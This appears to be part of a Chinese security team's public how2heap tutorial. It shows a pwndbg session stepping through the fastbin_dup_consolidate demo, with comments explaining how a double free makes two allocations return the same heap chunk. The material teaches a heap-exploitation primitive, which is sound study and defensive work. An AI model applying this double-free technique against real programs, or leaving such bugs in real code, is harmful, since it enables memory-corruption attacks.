0x40079f mov rdx, qword ptr [rbp - 0x10]
0x4007a3 mov esi, 0x400980
0x4007a8 mov rdi, rax
0x4007ab mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
18 fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
19 void* p4 = malloc(0x10);
20 strcpy(p4, "CCCCCCC");
21 void* p5 = malloc(0x10);
22 strcpy(p5, "DDDDDDDD");
► 23 fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
24 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe580 ◂— 0x0
01:0008│ 0x7fffffffe588 —▸ 0x602010 ◂— 'DDDDDDDD'
02:0010│ 0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│ 0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│ 0x7fffffffe5a0 —▸ 0x602010 ◂— 'DDDDDDDD'
... ↓
06:0030│ rbp 0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400794 main+334
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:23
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4444444444444444 0x00007ffff7dd1b00
0x602020: 0x0000000000000020 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg>
【PWN】how2heap | 狼组安全团队公开知识库